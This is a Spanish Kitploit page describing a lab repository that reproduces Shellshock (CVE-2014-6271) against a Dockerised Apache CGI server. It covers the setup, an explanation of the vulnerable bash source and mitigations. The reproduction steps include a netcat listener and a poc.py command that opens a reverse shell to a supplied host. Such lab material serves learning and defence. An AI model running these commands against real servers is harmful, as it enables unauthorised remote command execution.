Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
Herramientas/GitHubGitHub/caverm/shellshock_cve-2014-6271
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Shellshock CVE-2014-6271

Shellshock

Descargue los archivos docker-compose.yml y poc.py. ¡Asegúrese de descargar la librería requests mediante pip install requests!!! Si usa uv, coloque la librería requests dentro de venv a través de uv!!!

Descripción oficial de CVE
En versiones anteriores a GNU Bash 4.3, hubo un problema al manejar cadenas que siguen a la definición de una función en el valor de variables de entorno. Esta vulnerabilidad permitía a un atacante remoto ejecutar código arbitrario a través de un entorno manipulado. Esta vulnerabilidad se encontró en la función ForceCommand de OpenSSH sshd, en los módulos mod_cgi y mod_cgid del servidor Apache HTTP, en scripts ejecutados por clientes DHCP no especificados, y en varias situaciones donde los permisos de ejecución de Bash y el establecimiento de variables de entorno cruzan límites de privilegios diferentes. También se conoce como "ShellShock". Nota: La corrección inicial para este problema fue incorrecta, y se asignó CVE-2014-7169 para abordar esta vulnerabilidad que aún existía después de la corrección incorrecta.

Configuración del entorno

Configuración del archivo Docker

osweb serverbash version
Debian 10Apach4.2.37(1)

Al ejecutar el comando docker compose up, se escribió un Dockerfile para mantener el servidor web abierto.

Como el OS, Apache, etc., del Dockerfile se descargaron de repositorios externos, se etiquetó la imagen construida y se subió a Docker Hub, y luego se especificó esa imagen en el archivo docker-compose.yml, para que no haya problemas aunque se elimine el original.

Condiciones de vulnerabilidad

Se necesita un shell Bash que tenga la vulnerabilidad Shellshock. Yo descargué y utilicé la versión 4.2.37(1) del shell bash.

Además, para que el código se ejecute después de registrarlo en una variable de entorno y luego llamar a bash, debe existir un programa que pueda invocar a bash. Descargué el programa CGI que se usaba en el servidor web para procesar las solicitudes del cliente. Según el estándar CGI (RFC 3875), el servidor web está diseñado para colocar toda la información de las cabeceras enviadas por el navegador en variables de entorno de Linux y procesarlas.

Bajo esta condición, el servidor web envía una solicitud y la información de la cabecera se almacena en variables de entorno (según el estándar CGI). El ataque se completa cuando CGI invoca al shell bash, que tiene la vulnerabilidad de ejecutar cadenas que siguen a la definición de una función en las variables de entorno.

Solicitud (enviar código incrustado en la cabecera User-Agent) -> CGI invoca a bash -> conexión de reverse shell

Procedimiento de reproducción
  1. Ejecutar el servidor web mediante el comando 'docker compose up'.
  2. Abrir una nueva terminal e iniciar la escucha con 'nc -lvp 4444'.
  3. Ejecutar poc.py para conectar la reverse shell.
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (no tiene que ser 4444, depende del puerto en el que esté escuchando).
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (¡los que no usen uv, ejecuten con el comando python3!!!)
Resultado

La terminal que estaba escuchando en el paso 2 del procedimiento de reproducción se conecta al shell bash dentro del contenedor y se pueden ejecutar comandos como whoami, id, etc.

Causa de la vulnerabilidad
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

La causa de la vulnerabilidad está en la función initialize_shell_variables dentro del código variables.c del shell bash. Esta función también es demasiado larga, por lo que solo mostramos la parte esencial.

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

Ese if comprueba si los primeros 4 caracteres son '() {' mediante STREQN("() {", string, 4). Si coinciden, se trata como una función. Sorprendentemente, no hay ningún filtrado posterior en string, lo que causa el problema.

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' El código anterior es el proceso de combinar el nombre y el valor. Dado que el valor verificado arriba, string comienza con '() {' y name es el nombre de la variable de entorno. Así, al combinar el nombre y el valor de la variable de entorno, se pasa al siguiente código para analizarlo. Como el filtro solo verifica '() {' al principio, cualquier comando como whoami, id, pwd añadido después de la función se ejecutará completamente.

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
Medidas de mitigación
Actualizar a una versión de Bash que sea segura contra la vulnerabilidad Shellshock.
No utilizar programas que invoquen al shell Bash.
Descargar herramienta